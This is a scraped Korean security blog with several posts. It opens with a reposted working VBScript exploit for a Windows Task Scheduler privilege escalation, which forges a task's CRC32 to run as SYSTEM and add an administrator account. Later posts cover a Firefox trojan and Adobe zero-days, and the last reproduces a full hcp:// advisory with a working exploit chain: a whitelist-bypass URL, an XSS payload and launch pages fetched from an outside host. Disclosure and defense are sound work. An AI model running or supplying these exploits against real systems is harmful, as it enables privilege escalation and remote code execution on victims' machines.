        // Finally, display the results
        //
           var TextString=dec2hex(crc);
           var Teststring='';
        Teststring=TextString.substring(6,8);
        Teststring+=TextString.substring(4,6);
        Teststring+=TextString.substring(2,4);
        Teststring+=TextString.substring(0,2);
           return Teststring
        }
        function decodeFromHex(str){
            var r="";
            var e=str.length;
            var s=0;
            while(e>1){
                 
                r=r+String.fromCharCode("0x"+str.substring(s,s+2));
                 
                s=s+2;
                e=e-2;
            }
             
            return r;
             
        }
        </script>
         
         
         
        <script language="VBScript">
        dim output
        set output = wscript.stdout
        output.writeline " Task Scheduler 0 day - Privilege Escalation "
        output.writeline " Should work on Vista/Win7/2008 x86/x64"
        output.writeline " webDEViL - w3bd3vil [at] gmail [dot] com" & vbCr & vbLf
        biatchFile = WScript.CreateObject("Scripting.FileSystemObject").GetSpecialFolder(2)+"\xpl.bat"
        Set objShell = CreateObject("WScript.Shell")
        objShell.Run "schtasks /create /TN wDw00t /sc monthly /tr """+biatchFile+"""",,True
         
        Set fso = CreateObject("Scripting.FileSystemObject")
        Set a = fso.CreateTextFile(biatchFile, True)
        a.WriteLine ("net user /add test123 test123")
        a.WriteLine ("net localgroup administrators /add test123")
        a.WriteLine ("schtasks /delete /f /TN wDw00t")
         
        Function ReadByteArray(strFileName)
        Const adTypeBinary = 1
        Dim bin
            Set bin = CreateObject("ADODB.Stream")
            bin.Type = adTypeBinary
            bin.Open
            bin.LoadFromFile strFileName
            ReadByteArray = bin.Read
        'output.writeline ReadByteArray
        End Function
         
        Function OctetToHexStr (arrbytOctet)
         Dim k
         OctetToHexStr = ""
         For k = 3 To Lenb (arrbytOctet)
          OctetToHexStr = OctetToHexStr _
                & Right("0" & Hex(Ascb(Midb(arrbytOctet, k, 1))), 2)
         Next
         End Function
        strFileName="C:\windows\system32\tasks\wDw00t"
         
        hexXML = OctetToHexStr (ReadByteArray(strFileName))
        'output.writeline hexXML
        crc32 = calc_crc(hexXML)
        output.writeline "Crc32 Original: "+crc32
         
         
        Set xmlDoc = CreateObject("Microsoft.XMLDOM")
        'permissions workaround
        'objShell.Run "cmd /c copy C:\windows\system32\tasks\wDw00t .",,True
        'objShell.Run "cmd /c schtasks /query /XML /TN wDw00t > wDw00t.xml",,True
        Set objShell = WScript.CreateObject("WScript.Shell")
        Set objExecObject = objShell.Exec("cmd /c schtasks /query /XML /TN wDw00t")
         
        Do Until objExecObject.StdOut.AtEndOfStream
         strLine = strLine & objExecObject.StdOut.ReadLine()
        Loop
        hexXML = "FFFE3C00"+OctetToHexStr(strLine)
        'output.writeline hexXML
        Set ts = fso.createtextfile ("wDw00t.xml")
        For n = 1 To (Len (hexXML) - 1) step 2
         ts.write Chr ("&h" & Mid (hexXML, n, 2))
        Next
        ts.close
         
        xmlDoc.load "wDw00t.xml"
        Set Author = xmlDoc.selectsinglenode ("//Task/RegistrationInfo/Author")
        Author.text = "LocalSystem"
        Set UserId = xmlDoc.selectsinglenode ("//Task/Principals/Principal/UserId")
        UserId.text = "S-1-5-18"
        xmldoc.save(strFileName)
         
        hexXML = OctetToHexStr (ReadByteArray(strFileName))
         
        leadString=hexXML+"3C0021002D002D00"
        endString="2D002D003E00"
        'output.writeline leadString
        impbytes=rev_crc(leadString,endString,crc32)
        output.writeline "Crc32 Magic Bytes: "+impbytes
         
        finalString = leadString+impbytes+endString
        forge = calc_crc(finalString)
        output.writeline "Crc32 Forged: "+forge
         
        strHexString="FFFE"+finalString
        Set fso = CreateObject ("scripting.filesystemobject")
        Set stream = CreateObject ("adodb.stream")
         
        Set ts = fso.createtextfile (strFileName)
         
        For n = 1 To (Len (strHexString) - 1) step 2
         ts.write Chr ("&h" & Mid (strHexString, n, 2))
        Next
        ts.close
         
         
        Set objShell = CreateObject("WScript.Shell")
        objShell.Run "schtasks /change /TN wDw00t /disable",,True
        objShell.Run "schtasks /change /TN wDw00t /enable",,True
        objShell.Run "schtasks /run /TN wDw00t",,True
         
        </script>
        </job>

        출처: http://www.exploit-db.com/exploits/15589/

        감사합니다.

        저작자 표시
        reTweet
        Posted by 문스랩닷컴
        blog comments powered by Disqus
          보안 전문 기업인 Norman에서 근무하는 보안 전문가에 따르면 파이어폭스(Firefox) 브라우저의 취약점을 이용하여 트로이목마를 PC에 다운로드케하는 공격이 발견되었다고 합니다.

          이 공격은 노벨상 웹사이트의 해킹을 조사하는 과정에서 발견되었으며, 웹사이트의 해킹 뿐만 아니라 변조까지 이뤄진 것으로 알려졌습니다.

          이 취약점은 파이어폭스 v3.5와 v3.6 버전에서 발생하고 있으며 아직까지 구체적인 공격 대상이 밝혀지지는 않았습니다.

          취약점을 통해 공격이 성공적으로 이뤄지면, %WINDOWS%\temp 폴더에 symantec.exe 라는 이름의 트로이목마 설치 프로그램을 다운로드합니다.

          그리고, 윈도우 부팅시에 자동으로 시작되도록 아래 레지스트리에 경로를 등록합니다.

          * HKCU\Software\Microsoft\Windows\CurrentVersion\Run
          * HKLM\Software\Microsoft\Windows\CurrentVersion\Run

          설치가 완료되면 몇가지 의심스러운 동작을 수행하는데 다음과 같습니다.

          * nobel.usagov.mooo.com, update.microsoft.com 사이트에 HTTP(#80) 포트로 접속 시도
          * l-3com.dyndns-work.com, l-3com.dyndns.tv 에 접속을 시도

          하지만, 어떠한 연유로 microsoft.com에 접속하는지 아직 명확히 밝혀진 점은 없습니다.

          최근에 발생하는 보안 이슈들을 살펴 보면, 윈도우 운영체제 보다는 아도브(PDF), 자바와 같이 애플리케이션 단에서 발생하는 경우가 더 많습니다. Secunia의 PSI와 같은 보조 솔루션을 심각하게 검토해야 할 단계가 아닌지 모르겠습니다.

          Secunia의 PSI(Personal Software Inspector)
          http://moonslab.com/408

          출처: http://www.norman.com/security_center/virus_description_archive/129146/
          저작자 표시
          reTweet
          Posted by 문스랩닷컴
          blog comments powered by Disqus
            최근 아도브의 리더에서 제로데이 취약점이 발견되어 소개해 드린 적이 있습니다. 이에 대한 자세한 사항은 아래 링크를 참고하십시오.


            지난 월요일 아도브에서는 플래시 플레이어에 제로데이 취약점이 발견되었으며, 실제로 공격이 이뤄지는 사례가 있다고 알려왔습니다. 이 취약점은 CVE-2010-2884로 명명되었습니다.

            이 취약점은 아도브 플래시 플레이어 10.1.82.76 버전 및 하위 버전에서 발생하고 있으며, 윈도우 뿐만 아니라 맥, 리눅스, 솔라리스, 안드로이드까지 다양한 운영체제를 포함하고 있습니다.

            또한 이 취약점은 아도브 리더의 최신버전 및 하위버전에 영향을 미치고 있으며, 윈도우, 맥 운영체제 제품에서도 존재합니다.

            아도브는 9월 27일 경에 이 문제점을 해결하기 위한 패치를 제공할 예정이라고 합니다. 참고로, 아도브 리더에서 발생한 문제점은 10월 4일 패치 예정입니다.

            취약점에 대한 자세한 사항은 아래 링크를 참고하십시오.



            감사합니다.
            저작자 표시
            reTweet
            Posted by 문스랩닷컴
            blog comments powered by Disqus

              최근 아크로뱃 리더의 거듭된 제로데이 취약점으로 문제가 많이 발생하고 있습니다. 가장 최근에 발생한 뉴스는 아래 링크를 참고하십시오.

              마이크로소프트는 아도브에서 개발하는 아크로뱃 및 리더 프로그램의 보안 취약점을 노린 제로데이 공격을 예방할 수 있는 툴킷을 발표했습니다.

              지난 금요일에 마이크로소프트가 발표한 권고안에 따르면 EMET(Enhanced Mitigation Experience) 2.0이 이러한 위협을 차단할 수 있다고 하였으며, 아직까지 아도브에서는 별다른 언급을 하지 않고 있습니다.


              권고안에 언급된 주요한 사항을 살펴보면 다음과 같으며, 보다 자세한 사항은 하단 부의 참고자료를 참조하십시오.

              아도브 관련된 취약점을 예방하기 위해 EMET을 사용하기 위해서는 먼저 EMET을 설치해야 합니다. 단, 설치 시에는 관리자 권한이 필요합니다. 64비트 운영체제가 아닌 경우에는 아도브 리더와 아크로뱃은 설치 경로가 다를 수도 있으므로
              주의해야 합니다.

              C:\Program Files (x86)\EMET>emet_conf.exe --add "c:\program files (x86)\Adobe\Reader 9.0\Reader\acrord32.exe"

              저장 후에는 프로그램을 재시작해야 할 경우도 있습니다.


              참고자료


              감사합니다.
              저작자 표시
              reTweet
              Posted by 문스랩닷컴
              blog comments powered by Disqus
                인터넷 위협 중에서 가장 위험하다고 여겨지는 것이 바이러스가 아니라 아크로뱃 리더(Acrobat Reader)이다.  - from 문스랩닷컴


                아도브가 개발한 아크로뱃 리더는 아마도 가장 널리 사용되는 뷰어(viewer)이며, 외국에서는 거의 전자 문서의 표준 정도에 이를 정도입니다.

                최근 1-2년간에 아도브 리더/아크로뱃 제품에서 잇달아 취약점이 발견되고 있습니다. 그 중에서 가장 문제가 되는 부분이 바로 취약점을 이용하여 악성코드를 배포하는 바로 제로데이(0-day) 습성이기 때문입니다. 제로데이란 취약점이 알려진지 24시간 내에 이를 이용하는 악성코드가 출현한다는 것으로 그만큼 악성코드 제작자의 실력도 상향 평준화되었으며, 그에 반해 개발사나 보안 업체의 대응이 상대적으로 늦을 수 밖에 없다는 것을 말합니다.

                지난 9월 6일에는 아크로뱃 리더에 관련된 새로운 제로데이 취약점이 발견되어 알려졌습니다. 문제는 이 취약점을 이용하여 악성코드를 배포할 수 있는 실제 코드도 발표되었고, 취약점을 이용하여 교묘하게 조작된 PDF 문서를 첨부 파일로 넣은 스팸 메일이 실제로 발송되었다는 점입니다.

                문제가 발생한 아크로뱃 리더의 버전은 최신버전인 9.3.4까지 포함하는 것으로 알려져 있습니다. 또한 윈도우 운영체제 뿐만 아니라 매킨토스, 유닉스 운영체제까지 모든 제품에서 취약점이 발생합니다. 이 취약점은 CVE-2010-2883 이라고 명명되었으며, 이 취약점을 통해 해커는 피해자의 컴퓨터를 원격에서 조정할 수 있으며, 시스템을 손상시킬 수도 있습니다.

                아도브 사에서는 이 문제점의 심각성을 우려해서 인지 매우 빠르게 이에 대한 대응책을 발표했습니다.

                CVE-2010-2883에 대해 간략히 정리하면 다음과 같습니다.


                1. 취약점의 상세 내용

                cooltype.dll 파일의 0x0803dcf9 모듈에서 TTF 글꼴을 적절하게 파싱하지 못하는 문제점으로 인해 발생합니다. 이로 인해 DEP(Data Execution Protection, 데이터 실행 방지)까지 우회하는 것으로 알려져 있습니다.

                아크로뱃 리더에서는 AcroJS라는 자바스크립트가 사용되는데 이는 문서를 열 때 한번 실행되는 쉽게 말하면 자동실행 스크립트라고 보면 됩니다.



                2. 취약점을 이용하는 악성 코드 출현

                이 취약점을 이용하는 코드가 Metasploit Framework에서 발표되었으며, 이러한 발표로 인해 바이러스 및 스팸 제작자들이 쌍수를 들고 환영하고 있습니다.


                또한, 아래와 같이 악성 스크립트가 포함되어 있는 PDF 파일을 스팸 메일에 함께 보내어 감염을 시도하는 실제 사례도 많은 것으로 알려져 있습니다.

                <설명: 첨부에 포함된 PDF 문서>


                3. 아도브 사의 발표 내용

                아도브 사에서는 이 문제점에 대해 신속하게 권고안을 발표했습니다만, 아쉽게도 앞에서 설명했던 사항들을 나열하는 수준에 불과했습니다. 이 취약점은 심각성이 치명적(Critical)하다고 분류했으며, 현재 문제점을 해결하는 업데이트를 발표할 일정을 조율 중에 있다고 합니다.


                아크로뱃 리더는 계속 기능을 확장해 나가고 있습니다. 하지만, 그 기능에 맞게 그 만큼의 보안에 대해 충분한 검토가 없어 이와 같은 문제점이 나타나고 있습니다. 자바스크립트가 실행되는 한, 이러한 문제점은 계속 나올 것입니다.

                아마도 나중에는 샌드박스(Sandbox)와 같은 기능이 아크로뱃 리더 내에 포함될지도 모릅니다.

                감사합니다.

                저작자 표시
                reTweet
                Posted by 문스랩닷컴
                blog comments powered by Disqus
                  최근 발표된 윈도우의 도움말 센터(Help Center)의 취약점을 일시적으로 예방할 수 있는 프로그램이 MS에서 발표되었습니다.


                  감사합니다.
                  reTweet
                  Posted by 문스랩닷컴
                  blog comments powered by Disqus
                    지난 6월 10일, 윈도우 XP 운영체제의 '도움말 센터' 기능에서 제로데이 취약점이 발견되어 알려졌으며, 이러한 취약점을 이용하는 공격코드를 구글에서 공개해 파장이 일고 있습니다.

                    아래 글상자는 공개한 공격 코드입니다.

                    Microsoft Windows Help Centre Handles Malformed Escape Sequences Incorrectly
                    ----------------------------------------------------------------------------
                    
                    Help and Support Centre is the default application provided to access online
                    documentation for Microsoft Windows. Microsoft supports accessing help documents
                    directly via URLs by installing a protocol handler for the scheme "hcp", 
                    a typical example is provided in the Windows XP Command Line Reference,
                    available at http://technet.microsoft.com/en-us/library/bb490918.aspx.
                    
                    Using hcp:// URLs is intended to be safe, as when invoked via the registered
                    protocol handler the command line parameter /fromhcp is passed to the help
                    centre application. This flag switches the help centre into a restricted mode,
                    which will only permit a whitelisted set of help documents and parameters.
                    
                    This design, introduced in SP2, is reasonably sound. A whitelist of trusted
                    documents is a safe way of allowing interaction with the documentation from
                    less-trusted sources. Unfortunately, an implementation error in the whitelist
                    allows it to be evaded.
                    
                    URLs are normalised and unescaped prior to validation using
                    MPC::HTML::UrlUnescapeW(), which in turn uses MPC::HexToNum() to translate URL
                    escape sequences into their original characters, the relevant code from
                    helpctr.exe 5.1.2600.5512 (latest at time of writing) is below.
                    
                    .text:0106684C Unescape:
                    .text:0106684C        cmp     di, '%'              ; di contains the current wchar in the input URL.
                    .text:01066850        jnz     short LiteralChar    ; if this is not a '%', it must be a literal character.
                    .text:01066852        push    esi                  ; esi contains a pointer to the current position in URL to unescape.
                    .text:01066853        call    ds:wcslen            ; find the remaining length.
                    .text:01066859        cmp     word ptr [esi], 'u'  ; if the next wchar is 'u', this is a unicode escape and I need 4 
                    xdigits.
                    .text:0106685D        pop     ecx                  ; this sequence calculates the number of wchars needed (4 or 2).
                    .text:0106685E        setz    cl                   ; i.e. %uXXXX (four needed), or %XX (two needed).
                    .text:01066861        mov     dl, cl
                    .text:01066863        neg     dl
                    .text:01066865        sbb     edx, edx
                    .text:01066867        and     edx, 3
                    .text:0106686A        inc     edx
                    .text:0106686B        inc     edx
                    .text:0106686C        cmp     eax, edx             ; test if I have enough characters in input to decode.
                    .text:0106686E        jl      short LiteralChar    ; if not enough, this '%' is considered literal.
                    .text:01066870        test    cl, cl
                    .text:01066872        movzx   eax, word ptr [esi+2]
                    .text:01066876        push    eax
                    .text:01066877        jz      short NotUnicode
                    .text:01066879        call    HexToNum             ; call MPC::HexToNum() to convert this nibble (4 bits) to an integer.
                    .text:0106687E        mov     edi, eax             ; edi contains the running total of the value of this escape 
                    sequence.
                    .text:01066880        movzx   eax, word ptr [esi+4]
                    .text:01066884        push    eax
                    .text:01066885        shl     edi, 4               ; shift edi left 4 positions to make room for the next digit, i.e. 
                    total <<= 4;
                    .text:01066888        call    HexToNum             
                    .text:0106688D        or      edi, eax             ; or the next value into the 4-bit gap, i.e. total |= val.
                    .text:0106688F        movzx   eax, word ptr [esi+6]; this process continues for the remaining wchars.
                    .text:01066893        push    eax
                    .text:01066894        shl     edi, 4
                    .text:01066897        call    HexToNum
                    .text:0106689C        or      edi, eax
                    .text:0106689E        movzx   eax, word ptr [esi+8]
                    .text:010668A2        push    eax
                    .text:010668A3        shl     edi, 4
                    .text:010668A6        call    HexToNum
                    .text:010668AB        or      edi, eax
                    .text:010668AD        add     esi, 0Ah              ; account for number of bytes (not chars) consumed by the escape.
                    .text:010668B0        jmp     short FinishedEscape
                    .text:010668B2
                    .text:010668B2 NotUnicode:                             
                    .text:010668B2        call    HexToNum             ; this is the same code, but for non-unicode sequences (e.g. %41, 
                    instead of %u0041)
                    .text:010668B7        mov     edi, eax
                    .text:010668B9        movzx   eax, word ptr [esi]
                    .text:010668BC        push    eax
                    .text:010668BD        call    HexToNum
                    .text:010668C2        shl     eax, 4
                    .text:010668C5        or      edi, eax
                    .text:010668C7        add     esi, 4               ; account for number of bytes (not chars) consumed by the escape.
                    .text:010668CA
                    .text:010668CA FinishedEscape:
                    .text:010668CA        test    di, di
                    .text:010668CD        jz      short loc_10668DA
                    .text:010668CF
                    .text:010668CF LiteralChar:
                    .text:010668CF        push    edi                  ; append the final value to the normalised string using a 
                    std::string append.
                    .text:010668D0        mov     ecx, [ebp+unescaped]
                    .text:010668D3        push    1
                    .text:010668D5        call    std::string::append
                    .text:010668DA        mov     di, [esi]            ; fetch the next input character.
                    .text:010668DD        test    di, di               ; have we reached the NUL terminator?
                    .text:010668E0        jnz     Unescape             ; process next char.
                    
                    This code seems sane, but an error exists due to how MPC::HexToNum() handles
                    error conditions, the relevant section of code is annotated below.
                    
                    .text:0102D32A        mov     edi, edi
                    .text:0102D32C        push    ebp
                    .text:0102D32D        mov     ebp, esp              ; function prologue.
                    .text:0102D32F        mov     eax, [ebp+arg_0]      ; fetch the character to convert.
                    .text:0102D332        cmp     eax, '0'
                    .text:0102D335        jl      short CheckUppercase  ; is it a digit?
                    .text:0102D337        cmp     eax, '9'
                    .text:0102D33A        jg      short CheckUppercase
                    .text:0102D33C        add     eax, 0FFFFFFD0h       ; atoi(), probably written val - '0' and optimised by compiler.
                    .text:0102D33F        jmp     short Complete   
                    .text:0102D341 CheckUppercase:
                    .text:0102D341        cmp     eax, 'A'
                    .text:0102D344        jl      short CheckLowercase  ; is it an uppercase xdigit?
                    .text:0102D346        cmp     eax, 'F'
                    .text:0102D349        jg      short CheckLowercase
                    .text:0102D34B        add     eax, 0FFFFFFC9h       ; atoi()
                    .text:0102D34E        jmp     short Complete   
                    .text:0102D350 CheckLowercase:
                    .text:0102D350        cmp     eax, 'a'
                    .text:0102D353        jl      short Invalid         ; lowercase xdigit?
                    .text:0102D355        cmp     eax, 'f'
                    .text:0102D358        jg      short Invalid    
                    .text:0102D35A        add     eax, 0FFFFFFA9h       ; atoi()
                    .text:0102D35D        jmp     short Complete    
                    .text:0102D35F Invalid:     
                    .text:0102D35F        or      eax, 0FFFFFFFFh       ; invalid character, return -1
                    .text:0102D362 Complete:   
                    .text:0102D362        pop     ebp
                    .text:0102D363        retn    4
                    
                    Thus, MPC::HTML::UrlUnescapeW() does not check the return code of
                    MPC::HexToNum() as required, and therefore can be manipulated into appending
                    unexpected garbage onto std::strings. This error may appear benign, but we can
                    use the miscalculations produced later in the code to evade the /fromhcp
                    whitelist.
                    
                    Assuming that we can access arbitrary help documents (full details of how the
                    MPC:: error can be used to accomplish this will be explained below), we must
                    identify a document that can be controlled purely from the URL used to access it.
                    
                    After browsing the documents available in a typical installation, the author
                    concluded the only way to do this would be a cross site scripting error. After
                    some careful searching, a candidate was discovered:
                    
                    hcp://system/sysinfo/sysinfomain.htm?svr=<h1>test</h1>
                    
                    This document is available in a default installation, and due to insufficient
                    escaping in GetServerName() from sysinfo/commonFunc.js, the page is vulnerable
                    to a DOM-type XSS. However, the escaping routine will abort encoding if characters
                    such as '=' or '"' or others are specified. 
                    
                    It's not immediately obvious that this error is still exploitable, simple
                    tricks like <img src=bad onerror=code> don't apply, and <script>code</script>
                    isn't helpful as the code isn't evaluated again. In situations like this, the
                    best course of action is to harass lcamtuf until he gives you the solution,
                    which of course his encyclopaedic knowledge of browser security quirks produced
                    immediately.
                    
                    <script defer>code</script>
                    
                    The defer property is an IE-ism which solves the problem, documented by
                    Microsoft here http://msdn.microsoft.com/en-us/library/ms533719%28VS.85%29.aspx.
                    Now that we are armed with knowledge of this trick, because these help
                    documents are in a privileged zone, we can simply execute commands.
                    
                    You can test this with a command like so (assuming a recent IE):
                    
                    C:\> ver
                    Microsoft Windows XP [Version 5.1.2600]
                    C:\> c:\windows\pchealth\helpctr\binaries\helpctr.exe -url "hcp://system/sysinfo/sysinfomain.htm?svr=<script 
                    defer>eval(unescape('Run%28%22calc.exe%22%29'))</script>"
                    C:\>
                    
                    While this is fun, this isn't a vulnerability unless an untrusted third party
                    can force you to access it. Testing suggests that by default, accessing an
                    hcp:// URL from within Internet Explorer >= 8, Firefox, Chrome (and presumably
                    other browsers) will result in a prompt. Although most users will click through
                    this prompt (perfectly reasonable, protocol handlers are intended to be safe),
                    it's not a particularly exciting attack.
                    
                    I've found a way to avoid the prompt in a default Windows XP installation in all
                    major browsers, The solution is to invoke the protocol handler from within an
                    <iframe> in an ASX HtmlView element. There are probably other ways.
                    
                    http://en.wikipedia.org/wiki/Advanced_Stream_Redirector
                    
                    The version of Windows Media Player that is available by default in Windows XP
                    is WMP9, which installs an NPAPI and ActiveX plugin to render windows media
                    content. Later versions also can be used, with some minor complications.
                    
                    Thus, the attack will look like this:
                    
                    $ cat simple.asx 
                    <ASX VERSION="3.0">
                    <PARAM name="HTMLView" value="http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/starthelp.html"/>
                    <ENTRY>
                       <REF href="http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/bug-vs-feature.jpg"/>
                    </ENTRY>
                    </ASX>
                    
                    Where starthelp.html contains something like:
                    
                    $ cat starthelp.html 
                    <iframe src="hcp://...">
                    
                    Forcing a user to read an .ASX file can be achieved in a cross-browser manner like so:
                    
                    $ cat launchurl.html 
                    <html>
                    <head><title>Testing HCP</title></head>
                    <body>
                      <h1>OK</h1>
                      <script>
                            // HCP:// Vulnerability, Tavis Ormandy, June 2010.
                            var asx = "http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/simple.asx";;
                    
                            if (window.navigator.appName == "Microsoft Internet Explorer") {
                                // Internet Explorer
                                var o = document.createElement("OBJECT");
                                o.setAttribute("classid", "clsid:6BF52A52-394A-11d3-B153-00C04F79FAA6");
                                o.openPlayer(asx);
                            } else {
                                // Mozilla, Chrome, Etc.
                                var o = document.createElement("IFRAME");
                                o.setAttribute("src", asx);
                                document.body.appendChild(o);
                            }
                      </script>
                    </body>
                    </html>
                    
                    Therefore, we have the following interactions between multiple complex systems
                    chained together:
                    
                    - From an html page, email, document, or other application force a user to
                      fetch a .ASX file containing an HtmlView element.
                    - From the HtmlView element, invoke the hcp protocol handler that would normally
                      require confirmation.
                    - From the HCP Protocol handler, bypass the /fromhcp whitelist by using the
                      string miscalculations caused by failing to check the return code of
                      MPC::HexToNum().
                    - Once the whitelist has been defeated, invoke the Help document with a known
                      DOM XSS due to GetServerName() insufficient escaping.
                    - Use the defer property of a script tag to execute script in a privileged zone
                      even after the page has been rendered.
                    - Invoke an arbitrary command using the wscript.shell object.
                    
                    Figuring out how to use the MCP::HexToNum() error to defeat the /fromhcp
                    whitelist took some analysis, but the result looks like the following.
                    
                    hcp://services/search?query=anything&topic=hcp://system/sysinfo/sysinfomain.htm%
                    A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%
                    %A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A
                    %%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%
                    A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A..%5C..%5Csysinfomain.htm%u003fsvr=%3
                    Cscript%20defer%3Eeval%28unescape%28%27Run%2528%2522calc.exe%2522%2529%27%29%29%
                    3C/script%3E
                    
                    --------------------
                    Affected Software
                    ------------------------
                    
                    At least Microsoft Windows XP, and Windows Server 2003 are affected. The attack
                    is enhanced against IE >= 8 and other major browsers if Windows Media Player is
                    available, but an installation is still vulnerable without it.
                    
                    Machines running version of IE less than 8 are, as usual, in even more trouble.
                    
                    In general, choice of browser, mail client or whatever is not relevant, they
                    are all equally vulnerable.
                    
                    --------------------
                    Consequences
                    -----------------------
                    
                    Upon successful exploitation, a remote attacker is able to execute arbitrary
                    commands with the privileges of the current user.
                    
                    I've prepared a demonstration for a typical Windows XP installation with
                    Internet Explorer 8, and the default Windows Media Player 9.
                    
                    http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/launchurl.html
                    
                    In IE7 on Windows XP, just visiting this URL should be sufficient:
                    
                    http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/starthelp.html
                    
                    Some minor modifications will be required to target other configurations, this
                    is simply an attempt to demonstrate the problem. I'm sure the smart guys at
                    metasploit will work on designing reliable attacks, as security professionals
                    require these to do their jobs.
                    
                    Additionally, my demonstration is not intended to be stealthy, a real
                    attack would barely be noticable to the victim. Perhaps the only unavoidable
                    signal would be the momentary appearance of the Help Centre window before the
                    attacker hides it. There are multiple trivial techniques that can be used to
                    accomplish this.
                    
                    Browsers are useful to demonstrate the problem, but there are certainly other
                    attack vectors, such as MUAs, documents, etc. Protocol handlers are designed to
                    be used across applications.
                    
                    -------------------
                    Mitigation
                    -----------------------
                    
                    If you believe you may be affected, you should consider applying one of the
                    workarounds described below.
                    
                    Few users rely on Help Centre urls, it is safe to temporarily disable them
                    by removing HKCR\HCP\shell\open. This modification can be deployed easily using
                    GPOs. For more information on Group Policy, see Microsoft's Group Policy site,
                    here
                    
                    http://technet.microsoft.com/en-us/windowsserver/bb310732.aspx
                    
                    A few caveats, 
                    
                        * I am aware that some support technicians rely on the Remote Assistance
                          tool provided by the Help Center application using shortcuts like
                          "explorer.exe hcp://CN=Microsoft%20Corporation,L=Re...". You can continue
                          to use this technique by substituting "explorer.exe hcp://..." for
                          "helpctr.exe /url hcp://...", without relying on the protocol handler.
                    
                        * One or two links in explorer, such as selecting "Help" from the Control
                          Panel category view, may no longer function. If this concerns you, it is
                          possible to gracefully degrade by replacing the protocol handler with a
                          command to open a static intranet support page, e.g.
                          "chrome.exe http://techsupport.intranet";.
                    
                        * As always, if you do not use this feature, consider permanently disabling
                          it in order to reduce attack surface. Historically, disabling unused
                          protocol handlers has always proven to be a wise investment in security. 
                    
                    In the unlikely event that you heavily rely on the use of hcp://, I have
                    created an unofficial (temporary) hotfix. You may use it under the terms of
                    the GNU General Public License, version 2 or later. Of course, you should only
                    use it as a last resort, carefully test the patch and make sure you understand
                    what it does (full source code is included). It may be necessary to modify it
                    to fit your needs.
                    
                    The package is availble for x86 here:
                    
                    http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/hcphotfix.zip
                    
                    [ NOTE: Please avoid linking to this file out of context, it is intended for
                            consideration as a potential mitigation by experienced administrators,
                            and is not suitable for consumption by end-users ]
                    
                    The hotfix intercepts helpctr.exe invokations, and patches MPC::HexToNum() to
                    return zero on error, rather than -1. Nothing is changed on disk, and it can be
                    safely removed at anytime. Of course, the result of an invalid unescape is still
                    incorrect, but this specific vulnerability should be rendered inert. I would be
                    greatful if the community could contribute bugfixes, testing, an x64 port, and
                    so on. Once information is in the open, we can all collaborate on our
                    collective security.
                    
                    Some clarifications,
                    
                        * Fixing the XSS is not a solution, the root cause is the whitelist
                          evasion, any mitigation that does not address this is simply papering
                          over the issue. An army of researchers that specialise in XSS exists, and
                          i'm sure they will turn their attention to help documents once they
                          realise their value. Assume more will be discovered.
                    
                        * That said, if you are an XSS expert, examples in whitelisted pages
                          (/services/index, /services/search, etc.) would be useful, your skills
                          could be helpful making this important software safe.
                    
                        * Removing Windows Media player is not a solution, it simply makes a fun
                          demo for IE8 and other modern browsers.
                    
                    Finally, you should take this opportunity to disable all browser plugins and
                    SFS ActiveX controls that are not regularly used. End users can do this
                    themselves in Google Chrome by viewing about:plugins and disabling the plugins
                    that are not required. In Mozilla Firefox, use the Tools->Add-ons->Plugins
                    interface.
                    
                    -------------------
                    Solution
                    -----------------------
                    
                    Microsoft was informed about this vulnerability on 5-Jun-2010, and they
                    confirmed receipt of my report on the same day.
                    
                    Protocol handlers are a popular source of vulnerabilities, and hcp:// itself
                    has been the target of attacks multiple times in the past. I've concluded that
                    there's a significant possibility that attackers have studied this component,
                    and releasing this information rapidly is in the best interest of security.
                    
                    Those of you with large support contracts are encouraged to tell your support
                    representatives that you would like to see Microsoft invest in developing
                    processes for faster responses to external security reports.
                    
                    -------------------
                    Credit
                    -----------------------
                    
                    This bug was discovered by Tavis Ormandy.
                    
                    -------------------
                    Greetz
                    -----------------------
                    
                    Greetz to Neel, Mark, Redpig, Spoonm, Skylined, asiraP, LiquidK, ScaryBeasts,
                    Hawkes, Jagger, and all my other pimp colleagues.
                    
                    Special thanks to lcamtuf for his assistance with the deferred execution
                    problem. You should read his Browser Security Handbook if you need to
                    understand how web browser security /really/ works.
                    
                    http://code.google.com/p/browsersec/wiki/Main
                    
                    A colleague is organising a conference in Lucerne, Switzerland. He would really
                    appreciate interesting papers from security people who want to talk about
                    their research (travel, hotel, etc. covered).
                    
                    https://www.hashdays.ch/
                    
                    -------------------
                    Notes
                    -----------------------
                    
                    I would like to point out that if I had reported the MPC::HexToNum() issue
                    without a working exploit, I would have been ignored.
                    
                    Without access to extremely smart colleagues, I would likely have given up,
                    leaving you vulnerable to attack from those who just want root on your network
                    and do not care about disclosure policies.
                    
                    This is another example of the problems with bug secrecy (or in PR speak,
                    "responsible disclosure"), those of us who work hard to keep networks safe are
                    forced to work in isolation without the open collaboration with our peers that
                    we need, especially in complex cases like this, where creative thinking and
                    input from experts in multiple disciplines is required to join the dots.
                    
                    A good place to start researching full disclosure would be this accessible
                    and insightful essay by Bruce Schneier.
                    
                    http://www.schneier.com/essay-146.html
                    
                    His balanced coverage of the debate is also available in this essay.
                    
                    http://www.schneier.com/crypto-gram-0111.html#1
                    
                    Finally, a reminder that this documents contains my own opinions, I do
                    not speak for or represent anyone but myself.
                    
                    -------------------
                    References
                    -----------------------
                    
                    hcp:// has been broken a few times over the years, for example:
                    
                    - http://seclists.org/bugtraq/2002/Aug/225, Delete arbitrary files using Help and Support Center
                    - http://www.microsoft.com/technet/security/bulletin/ms03-044.mspx, HCP memory corruption by Dave Litchfield.
                    
                    The current design is actually pretty sound, I'm sure Microsoft are
                    dissapointed they missed this flaw. In their defense, I think there's a good
                    chance I would have also missed this in code review.
                    
                    -- 
